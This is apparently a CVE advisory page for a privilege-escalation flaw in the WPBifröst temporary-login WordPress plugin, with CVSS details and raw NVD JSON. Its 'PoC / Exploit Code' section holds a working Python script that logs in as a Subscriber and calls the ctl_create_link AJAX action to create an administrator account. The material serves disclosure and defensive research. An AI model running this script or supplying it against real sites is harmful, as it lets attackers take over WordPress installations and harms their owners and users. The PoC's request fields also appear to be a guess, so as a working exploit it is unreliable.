Security Vulnerability Report
中文
CVE-2025-10299 CVSS 8.8 HIGH

CVE-2025-10299

Published: 2025-10-15 09:15:39
Last Modified: 2026-04-15 00:35:42

Description

The WPBifröst – Instant Passwordless Temporary Login Links plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the ctl_create_link AJAX action in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts and subsequently log in as those.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WPBifröst – Instant Passwordless Temporary Login Links ≤ 1.0.7
create-temporary-login ≤ 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10299 PoC - WPBifröst Privilege Escalation # Exploit for missing capability check on ctl_create_link AJAX action import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # Attacker credentials (Subscriber-level account) username = "subscriber_user" password = "subscriber_password" # Step 1: Login as Subscriber to obtain session cookies session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(f"{target_url}/wp-login.php", data=login_data) # Step 2: Exploit the missing capability check on ctl_create_link AJAX action # Create a new administrator account via the vulnerable AJAX endpoint exploit_data = { "action": "ctl_create_link", "user_login": "pwned_admin", "user_email": "[email protected]", "role": "administrator" # Privilege escalation: create admin account } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Step 3: The response should contain the new admin user credentials or temporary login link # Use these credentials to log in as the newly created administrator if "success" in response.text.lower() or response.status_code == 200: print("[+] Administrator account created successfully!") print("[+] Attacker can now log in with full admin privileges")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10299", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:39.217", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPBifröst – Instant Passwordless Temporary Login Links plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the ctl_create_link AJAX action in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts and subsequently log in as those."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3379010%40create-temporary-login&new=3379010%40create-temporary-login&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/create-temporary-login/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/50946bc7-8d31-4376-bdcc-de7aad700503?source=cve", "source": "[email protected]"}]}}